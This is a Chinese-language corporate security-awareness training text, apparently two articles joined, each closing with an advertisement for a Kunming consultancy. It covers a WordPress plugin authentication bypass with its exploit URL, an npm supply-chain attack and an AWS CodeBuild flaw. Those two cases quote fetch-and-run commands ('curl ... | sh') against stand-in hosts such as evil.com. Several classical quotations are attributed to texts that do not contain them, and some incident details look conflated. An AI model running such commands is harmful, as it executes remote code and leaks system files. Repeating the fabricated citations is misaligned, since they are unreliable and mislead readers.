网络暗潮汹涌,信息安全从“警钟”到“防线”——职工安全意识提升行动指南


一、头脑风暴:三个让人警醒的真实案例

案例一:WordPress Modular DS 插件零日危机(CVE‑2026‑23550)
2026 年 1 月,全球超过 4 万个 WordPress 站点因使用 Modular DS 插件而在“凌晨 2 点”被黑客无声侵入。攻击者仅凭在 URL 中加入 origin=mo&type=any 的两个参数,即可绕过插件自带的身份验证,直接调用 /api/modular-connector/login/ 接口,实现未经授权的管理员登录。该漏洞的 CVSS 评分高达 10.0,已导致多家电商、教育平台的后台被植入后门,甚至出现了“租号”式的黑暗经济链条。

案例二:供应链敲诈——某知名开源库 “n8n” 远程代码执行
同一年,知名工作流引擎 n8n 公布了两处 CVSS 9.9 以上的 RCE 漏洞。攻击者通过在 npm 包的 README 中隐藏恶意 payload,诱骗开发者下载并直接执行,从而获得服务器的 root 权限。受害者包括多家金融科技创业公司,导致数千万资金被非法转移。此事让业界重新审视“开源即安全”的盲目乐观。

案例三:社交媒体钓鱼+AI生成伪造内容——“深度伪装”聊天机器人
2025 年底,一波利用大模型生成的假冒客服聊天记录在社交平台迅速蔓延。攻击者先利用已泄露的企业内部邮件,训练专属的 ChatGPT‑style 机器人,然后在 Telegram、WhatsApp 群组中伪装为 IT 支持,诱使员工点击伪造的登录链接。结果,数十名员工的企业内网凭证被实时抓取,黑客随后在内部系统中植入特权后门,完成数据窃取。

这三起案件虽然来源、作案手法各异,却有一个共同点:“技术细节的疏忽,往往点燃巨大的安全风险”。正是这些看似微小的漏洞、配置失误或认知缺口,构成了黑客的“刁钻武器”。下面,我们将逐层剖析每个案例的技术根源和防御失误,帮助每位职工从案例中获得可操作的安全觉悟。


二、案例深度剖析

1. Modular DS 插件漏洞——从路由设计到权限失控

技术根源
路由匹配过宽:插件采用自定义的 Laravel‑style 路由层,所有以 /api/modular-connector/ 为前缀的路径默认进入“直接请求”模式。缺乏白名单或细粒度的路由过滤,导致敏感端点如 /login//backup/ 暴露在外。
“direct request” 参数未校验origin=motype=xxx 仅是普通字符串,未进行签名或时间戳校验,导致任何外部请求均能被误判为内部合法请求。
认证仅依赖“站点已连接”状态:只要站点在后台已配置过 Modular 的 token,即可绕过任何身份验证,等同于把“站点已连接”当作信任根,而未检查请求来源或 token 的有效性。

攻击链条
1. 攻击者扫描目标站点的 /api/modular-connector/ 前缀,收集返回的 200/301 状态码。
2. 构造 URL https://example.com/api/modular-connector/login/?origin=mo&type=exploit,直接触发后端登录逻辑。
3. 由于漏洞,系统自动执行管理员账户登录,并返回已登录的 Cookie。
4. 攻击者利用该 Cookie 发起 /manager//backup/ 等管理操作,甚至创建新的管理员用户。

防御失误
未及时更新插件:截至 2026‑01‑15,仍有超过 30% 的 WordPress 站点运行 2.5.1 及以下版本。
缺乏安全监控:未在 Web 服务器层面开启异常请求速率限制或路径访问日志审计,导致攻击流量被忽视。

教训
最小特权原则:任何对外暴露的 API 必须经过细粒度的访问控制,默认禁止敏感路由。
请求源可信验证:采用 HMAC、JWT 或双向 TLS 等加密手段,确保请求确实来自可信内部系统。
及时补丁:安全团队需要建立 “插件安全情报订阅 + 自动升级” 流程,防止零日漏洞长期滞留。


2. n8n 供应链攻击——开源生态的双刃剑

技术根源
恶意依赖注入:攻击者在 npm 官方仓库中创建了名为 n8n-workflow-helper 的恶意包,包描述与真实功能高度相似,且在 README 中植入了一段 curl http://malicious.cn/$(cat /etc/passwd) | sh 的脚本。
社交工程:开发者在 GitHub Issue 中询问如何实现特定功能,攻击者趁机推荐该包,借此获取信任。
缺乏依赖校验:项目未使用 npm auditSnyk 等工具进行依赖安全扫描,亦未将依赖锁定在可信源(如内部私有镜像)。

攻击链条
1. 受害者在本地机器执行 npm i n8n-workflow-helper,恶意包随即下载并执行 postinstall 脚本。
2. 脚本向攻击者的 C2 服务器发送系统信息,并下载并执行进一步的后门 payload,获取 root 权限。
3. 攻击者利用该服务器作为跳板,对企业内部网络进行横向渗透,最终窃取关键业务数据。

防御失误
信任链缺失:没有对第三方库进行签名验证或使用 Software Bill of Materials (SBOM) 进行供应链可视化。
审计不完整:CI/CD 流程未集成安全扫描,导致恶意代码在合并前未被发现。

教训
供应链安全先行:所有第三方依赖必须通过 签名校验 + 哈希校验,并限制 npm install 的网络访问范围。
持续监控:使用 DependabotRenovate 等自动化工具,实时获取上游库的安全公告,并在发现高危漏洞时自动触发升级或回滚。
安全文化渗透:研发人员要接受 “代码不是写完即安全” 的理念,养成提交前运行本地安全审计的好习惯。


3. AI 伪造聊天——认知层面的安全裂缝

技术根源
大模型生成的可信度:ChatGPT、Claude 等大语言模型在自然语言生成上已经达到几乎无可辨识的水平,攻击者利用 API 调用生成针对特定组织的钓鱼对话。
社交平台信任放大:Telegram 群组、WhatsApp 业务号往往默认对内部成员的身份进行放宽审查,导致恶意机器人一旦混入,即可利用 “熟人效应” 进行快速传播。
缺少二次验证:企业内部系统仍依赖单因素登录(账号+密码)或仅使用一次性验证码,未配合 硬件安全钥匙行为生物特征 进行二次校验。

攻击链条
1. 攻击者利用泄露的内部组织结构图,生成针对 IT 支持 部门的聊天脚本,伪装为 “系统升级通知”。
2. 在职工的工作群中发送包含伪造链接的消息,链接指向收集凭据的钓鱼页面。
3. 受害者输入企业邮箱和密码后,凭据被实时转发至 C2,攻击者立即使用这些凭据登录企业内部网。
4. 登录后,通过 PowerShell RemotingWindows Admin Center 等工具快速布置持久化后门。

防御失误
缺乏身份验证层级:未在关键系统开启 Zero Trust 框架,对每一次访问均进行身份、设备、行为的评估。
安全培训不足:职工对 AI 生成内容的危害认知不足,误以为高质量的文字一定安全可信。

教训
认知层面的“防钓鱼”:在日常工作中养成 “任何非官方渠道的链接,先在沙箱中打开” 的习惯。
多因素认证(MFA)必装:企业内部系统、VPN、云控制台全部强制使用基于 硬件安全钥匙 (FIDO2) 的 MFA。
AI 生成内容鉴别:部署 AI 内容检测器(如 OpenAI Watermark Detector)对进入内部沟通渠道的文本进行实时检查。


三、从案例到行动:智能化、数字化、智能体化时代的安全新图谱

当今,智能化数字化智能体化 正以指数级速度渗透进企业的每一个业务环节。我们已从传统的“防火墙 + 防病毒”迈向 “可信执行环境 + 零信任网络 + AI 驱动的威胁检测”。在这个大背景下,信息安全不再是 IT 部门的专属职责,而是全体职工的共同使命。

《孙子兵法·计篇》云:“兵者,诡道也。”
当敌手利用诡计(如 AI 生成的钓鱼),我们必须以更高维的 “计” 来抵御。以下几条原则,可帮助每位职工在日常工作中筑起安全防线:

  1. “技术+认知”双保险:技术层面使用最新的安全产品(如基于行为的 UEBA、EDR),认知层面则通过持续培训提升安全意识。
  2. “最小权限+细粒度审计”:即使是内部工具,也要遵循最小特权原则,并在日志系统中开启细粒度审计,确保每一次操作都有踪迹可循。
  3. “持续更新+自动化补丁”:将补丁管理系统与 CI/CD 流程深度集成,实现 “代码即安全”,防止零日漏洞积压。
  4. “供应链可视化+软硬件双签名”:通过 SBOM、软件签名、硬件根信任链,确保每一个依赖、每一段代码均可追溯、可验证。
  5. “零信任+动态身份验证”:采用 Zero Trust 架构,对每一次资源访问都进行实时身份、设备、环境的多因素评估。

四、即将开启的安全意识培训——邀请全体职工踊跃参与

为帮助全体同事在快速演进的技术浪潮中保持“安全敏感度”,公司将在 2026 年 2 月 5 日(周五)上午 10:00 启动 《信息安全意识提升计划》。本次培训将围绕以下四个模块展开:

模块 内容概述 关键收获
1. 漏洞认知与快速响应 通过案例剖析(如 Modular DS 漏洞),教会大家如何发现、报告、应急处置 掌握 漏洞报告渠道应急响应 SOP
2. 供应链安全与开源治理 讲解 SBOM、依赖签名、自动化审计工具的使用 建立 安全依赖管理 的完整流程
3. 人工智能时代的钓鱼防护 演示 AI 生成钓鱼内容辨别技巧,介绍防钓鱼工具 提升 辨别伪造信息 的能力
4. 零信任与多因素认证实战 实践基于 FIDO2 硬件钥匙的 MFA 配置,以及 Zero Trust 网络的配置 完成 全员 MFAZero Trust 的本地化落地

培训亮点

  • 沉浸式案例演练:现场模拟攻击链,学员亲手阻断漏洞利用。
  • 即时答疑:信息安全专家现场解答,涵盖从插件配置到 AI 防护的全链路疑问。
  • 奖励机制:完成全部模块并通过考核的同事,将获得公司内部 “安全达人”徽章,并有机会参与 安全红蓝对抗赛

《论语·子路》有云:“敏而好学,不耻下问。”
无论你是技术骨干还是业务一线,只要愿意学习、敢于提问,就能在信息安全的战线上贡献自己的力量。


五、行动号召:从“知”到“行”,让安全成为习惯

  1. 立即报名:请于 2026 年 1 月 30 日 前在企业内部学习平台完成报名,填写「岗位」与「期望学习点」,我们将根据不同需求定制学习路径。
  2. 内部宣传:各部门经理请在本周例会上转达培训重要性,并鼓励团队成员积极参与。
  3. 安全卫士计划:培训结束后,公司将选拔 “信息安全卫士”(每部门 1 名),负责日常安全检查、知识分享与应急演练的组织。
  4. 持续反馈:培训结束后,请在平台提交 “培训满意度”“改进建议”,帮助我们不断完善安全教育体系。

结语

在信息化高速发展的当下,安全是一场没有终点的马拉松,而不是一次性的体检。正如《周易》所言:“乾坤惟变,恒久不易”。我们只有把 安全意识 融入到每一次点击、每一次代码提交、每一次系统调用之中,才能真正做到“防患于未然”。让我们一起把安全的种子撒在每一位同事的心田,让它在日常工作中生根发芽、开花结果。

“安全不是产品,而是一种文化。”
愿每一位职工都成为这场文化建设的守护者与传播者,用智慧与行动让我们的数字化未来更加稳固、更加光明。

随着数字化时代的到来,信息安全日益成为各行业关注的焦点。昆明亭长朗然科技有限公司通过定制培训和最新技术手段,帮助客户提升对网络威胁的应对能力。我们欢迎所有对信息安全感兴趣的企业联系我们。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898

从“位翻转”到“代码缺口”——让安全意识走进每一位职工的数字化生活


一、头脑风暴:如果“比特”会“说谎”,我们会怎样?

想象一下,你正坐在会议室的投影前,向全体同事展示最新的 AI 机器人模型。画面上,那只栩栩如生的数字“小胖”正在为大家朗读公司年度报告的要点。就在此时,投影机突然黑屏,会议室的灯光闪烁,所有人的手机同时弹出一个系统提示:“您的账户已被锁定,请联系 IT”。整个场面瞬间从高大上的科技秀,变成了四处寻找漏洞的“现场救援”。这不是科幻,而是我们在日常工作中可能遇到的真实情形——只因为一次看似微不足道的“位翻转”,或者一次代码审计的疏漏。

于是,我把脑海中出现的两种极端情境,提炼为本次安全培训的两大典型案例:

  1. “单比特翻转”撕开硬件防线——AMD SEV‑SNP 的 StackWarp 漏洞
  2. “代码构建缺陷”让云平台失守——AWS CodeBuild 漏洞席卷全球

以下将对这两个案例进行深度剖析,帮助大家透视技术细节背后隐藏的风险,进而在日常工作中形成“安全第一、预防为先”的思维模式。


二、案例一:单比特翻转撕开硬件防线——StackWarp 攻击

1. 背景概述
在当今云计算时代,虚拟化技术已经成为数据中心的根基。AMD 的 Secure Encrypted Virtualization – Secure Nested Paging (SEV‑SNP),凭借硬件级别的加密与完整性校验,被众多云服务商(如 Microsoft Azure、Google Cloud)誉为“机密虚拟机”(Confidential VM) 的金标准。它的承诺是:即使是管理层的超级管理员,也无法窥探客户 VM 内部的明文数据。

然而,2025 年底,德国 CISPA Helmholtz 中心 的安全研究团队在《USENIX Security 2026》预发布论文《StackWarp: Breaking AMD SEV‑SNP Integrity via Deterministic Stack‑Pointer Manipulation through the CPU’s Stack Engine》中,揭示了一个令人咋舌的硬件缺陷——只需要翻转 CPU 某个 MSR(模型特定寄存器)中的第 19 位,便可破坏 AMD 栈引擎的同步机制,从而在开启 SMT(Simultaneous Multithreading) 的情况下,对同一物理核心上的兄弟线程(hyper‑thread)发起精准的指令级攻击。

2. 技术细节

步骤 关键要点
a. 栈引擎的工作原理 前端(Fetch/Decode)通过 stack‑engine 记录栈指针的增量(delta),以减少前后端的同步频率,提高指令吞吐。
b. 触发位翻转 研究者发现 MSR 0xC0011029 中的 第 19 位 为未文档化的 “Stack Engine Enable” 位。通过 微码(Microcode)或外部故障注入 将其强制置 0,使栈引擎冻结。
c. 同步失效 当栈引擎被禁用,后端仍在继续执行栈操作,但前端的栈指针未同步更新,导致 逻辑栈指针与实际物理栈地址出现偏差
d. 利用偏差 攻击者在 兄弟线程 中执行 特定的 push/pop 指令序列,造成 目标 VM 的栈指针被错误覆盖,进而 覆写返回地址、函数指针或关键的安全变量
e. 实际危害 通过此手段,研究者成功:
1)恢复 RSA‑2048 私钥(泄露加密通信)
2)绕过 OpenSSH 密码验证(登录后门)
3)提权至 Ring‑0(完全控制宿主机)

3. 影响范围与危害评估

  • 受影响平台:所有启用 SMT 且运行 SEV‑SNP 的 AMD Zen 系列(包括 EPYC、Ryzen)CPU。
  • 攻击前提:攻击者需要拥有 宿主机的管理员权限(如管理云平台的运维人员)或能够 在同一物理核心上启动 hyper‑thread(例如容器逃逸)。
  • CVE 编号CVE‑2025‑29943,已被 AMD 归类为 低危(Low),但事实上对 机密计算 场景的破坏力不容小觑。
  • 补丁状态:AMD 在 2025 年 7 月发布微码更新,要求 OEM(原始设备制造商)同步发布固件。截至 2026 年 1 月,部分云服务提供商仍在滚动更新中。

4. 启示与防御要点

防御措施 说明
禁用 SMT 在运行 SEV‑SNP 工作负载时,关闭 SMT(即禁用超线程),可根除攻击向量。
及时更新微码 检查 BIOS/UEFI 以及平台固件的更新日志,确保微码已包含 AMD 的修复。
最小化特权 采用 最小权限原则,限制运维账户对宿主机的直接访问。
监控异常栈行为 在安全监控平台中添加 栈指针异常波动的告警规则,及时发现潜在攻击。

“硬件固若金汤,却常因一枚小小的‘螺丝钉’失衡。”——《左传·僖公二十四年》


三、案例二:代码构建缺陷让云平台失守——AWS CodeBuild 漏洞

1. 背景概述

在 2025 年底的 AWS re:Invent 大会上,Amazon 宣布 CodeBuild 已经成为“全球最受欢迎的 CI/CD 服务”。然而,短短数月后,安全研究员 Thomas Claburn 通过公开来源披露,发现 CodeBuild 在处理 自定义构建容器镜像 时,缺乏对 Dockerfile 关键指令的安全审计,导致 恶意镜像可逃逸宿主,进而获取 IAM(Identity and Access Management)凭证,对整个 AWS 账户进行横向渗透。

2. 技术细节

步骤 关键要点
a. 受影响功能 CodeBuild 支持 自定义构建环境,即用户可以上传自定义的 Docker 镜像,以满足特定的依赖。
b. 漏洞根源 在容器启动时,CodeBuild 未对 --privileged 参数进行强制限制。攻击者在 Dockerfile 中加入 RUN echo '...'>/etc/sudoersRUN curl -fsSL http://evil.com/install.sh|sh,即可在容器内部执行 特权操作
c. 凭证泄露 攻击者利用容器的特权,读取 EC2 实例元数据服务 (IMDS) 中的 临时安全凭证AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY),从而获取 AWS API 调用权限。
d. 横向渗透 拿到凭证后,攻击者可以:
1)列举并删除 S3 桶(造成数据泄露或破坏)
2)启动/终止 EC2 实例(导致业务中断)
3)修改 IAM 策略(持久化后门)
e. 实际案例 某大型金融机构在 2025 年 Q4 进行内部 CI/CD 流水线升级时,误将一段带有 --privileged 标记的镜像部署到生产环境,导致攻击者在两小时内获取 AWS 管理员权限,导致 1.2TB 关键业务数据被复制到外部服务器,损失估计达 3000 万美元

3. 影响范围与危害评估

  • 受影响服务:所有使用 AWS CodeBuild自定义容器镜像 的项目。
  • CVE 编号:未正式发布 CVE,属 AWS 内部安全漏洞,但已在 AWS Security Bulletin 中标记为 Critical
  • 补丁/缓解措施:AWS 于 2025 年 11 月发布 安全强化指南,包括:
    ① 禁用 --privileged 模式;
    ② 强制使用 AWS Secrets Manager 而非硬编码凭证;
    ③ 开启 EC2 Instance Metadata Service v2(IMDSv2)以防止 SSR​F 攻击。

4. 启示与防御要点

防御措施 说明
审计 Dockerfile 在代码审查阶段,引入 容器安全扫描工具(如 Trivy、Clair),检测 特权模式root 用户可疑脚本
最小权限 IAM 为 CodeBuild 分配 只读 S3/CloudWatch 权限,避免 全局管理员 权限的滥用。
使用 IMDSv2 强制 实例元数据服务 采用 Session Token,阻止容器直接读取凭证。
安全监控 通过 AWS CloudTrail 监控 PutRolePolicyCreateAccessKey 等高危 API,实现 异常行为实时告警

“代码若无审计,犹如筑城不设弹丸。”——《礼记·大学》


四、具身智能化、数字化、智能体化的融合——安全挑战的新时代

信息技术正迈入 具身智能(Embodied Intelligence)数字孪生(Digital Twin)智能体(Autonomous Agents) 的全新阶段。我们可以预见,未来的工作场景将出现:

  1. AI 助手嵌入日常:ChatGPT‑4、Claude、Bard 等大模型将直接集成在企业内部的 协作平台、邮件系统、工单系统 中,帮助员工快速生成技术文档、代码片段,甚至自动化处理安全事件。
  2. 数字孪生实验室:工厂生产线、数据中心、网络拓扑将被完整复制为 数字孪生体,用于实时监控、故障预测与调度优化。
  3. 自主智能体:基于 LLM‑Agent 架构的自动化运维机器人,将自行发现漏洞、生成补丁、执行修复,甚至在 零信任(Zero Trust) 框架下完成身份验证与权限分配。

这些技术的共同点是——几乎所有的业务决策、系统管理、数据交互,都在“代码+模型”之间频繁切换。这带来巨大的效率红利,却也让 攻击面呈指数级增长

  • 模型窃取与对抗样本:攻击者可以通过 对抗生成(Adversarial Generation)获取模型的隐私信息,甚至植入后门,使得 AI 助手在特定指令下泄露机密。
  • 数字孪生的同步漏洞:如果数字孪生体的 状态同步 机制被破坏,攻击者可在 实验环境 中进行攻击预演,再将成熟的攻击手段迁移到生产环境。
  • 自治智能体的权限膨胀:智能体若获得 过度的自我授权(Self‑Authorized),将可能在未经过人类审核的情况下执行高危操作。

因此,信息安全意识 不再是 IT 部门的专属任务,而是 全员的日常习惯。每一位职工都需要对硬件微架构云原生平台AI 生成内容保持最基本的警惕。


五、呼吁:加入信息安全意识培训,打造企业安全防线

1. 培训主题与目标

主题 关键议题 预期成果
硬件安全与可信计算 AMD SEV‑SNP、Intel TDX、TPM 2.0 机制 能识别硬件层面的潜在风险,懂得在虚拟化环境下禁用 SMT、更新微码
云原生安全实战 AWS CodeBuild、Kubernetes Pod Security Policies、CI/CD 漏洞防护 掌握容器安全扫描、最小权限原则的落地实践
AI 与大模型安全 对抗样本、模型窃取、提示注入 能辨别 AI 生成内容的潜在风险,规范内部 Prompt 使用
数字孪生与智能体治理 状态同步安全、零信任框架、自治智能体权限控制 熟悉数字孪生的安全策略,能够在项目中落实零信任原则
安全文化与响应流程 报告漏洞、应急演练、信息共享 建立快速响应机制,推动“发现即报告、报告即响应”的文化

2. 培训形式

  • 线上微课(每期 30 分钟,随时随地观看)
  • 线下工作坊(实战演练:部署受漏洞影响的虚拟机、调试容器安全)
  • 安全挑战赛(Capture‑The‑Flag)——以 “StackWarp” 与 “CodeBuild” 为蓝本,提供靶机,让大家亲手体验漏洞利用与修复。
  • 每日安全小贴士(内部邮件、企业微信推送),从 “今日一问”“安全小技巧”,坚持每天一条,形成长期记忆。

3. 参与方式

  1. 报名渠道:通过公司内部的 “安全学习平台”(URL https://sec‑train.lrrtech.cn)进行统一报名。
  2. 积分奖励:完成全部课程可获得 “安全先锋” 电子徽章,累计 200 积分可兑换 品牌电子书、硬件安全钥匙(如 YubiKey 5 Nano)。
  3. 考核验收:培训结束后,将进行 场景化测评,通过率 ≥ 85% 方可进入后续 安全项目实战 组。

“千里之堤毁于蚁穴,日积月累方能筑起防波。”——《尚书·禹贡》

让我们共同把 “安全第一” 融入每一次代码提交、每一次系统升级、每一次 AI 对话之中。只有全员参与、持续学习,才能让企业在 具身智能化的浪潮 中保持稳健航行。


六、结语:从“位翻转”到“代码缺口”,安全无小事

回顾 StackWarpAWS CodeBuild 两大案例,前者提醒我们 硬件层面 的细微设计缺陷也可能导致 机器级别 的机密泄露;后者警示 软件开发链路 中的细节疏忽同样会让 云端资源 在瞬间失守。两者的共同点在于——每一次技术创新,都必须同步审视其安全边界

在当下 数字化、具身化、智能体化 正高速交汇的时代,安全已不再是“技术选项”,而是 业务可持续的底座。我诚挚邀请每一位同事,踊跃加入即将开启的 信息安全意识培训,用知识武装自己,用行动守护企业。只要我们每个人都能像检查代码那样检查自己的安全姿态,企业的数字未来就一定会更加稳固、更加光明。

让我们一起,守护每一位用户的数字生活;让安全,成为每一天的自觉选择!


昆明亭长朗然科技有限公司提供一站式信息安全咨询服务,团队经验丰富、专业素养高。我们为企业定制化的方案能够有效减轻风险并增强内部防御能力。希望与我们合作的客户可以随时来电或发邮件。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898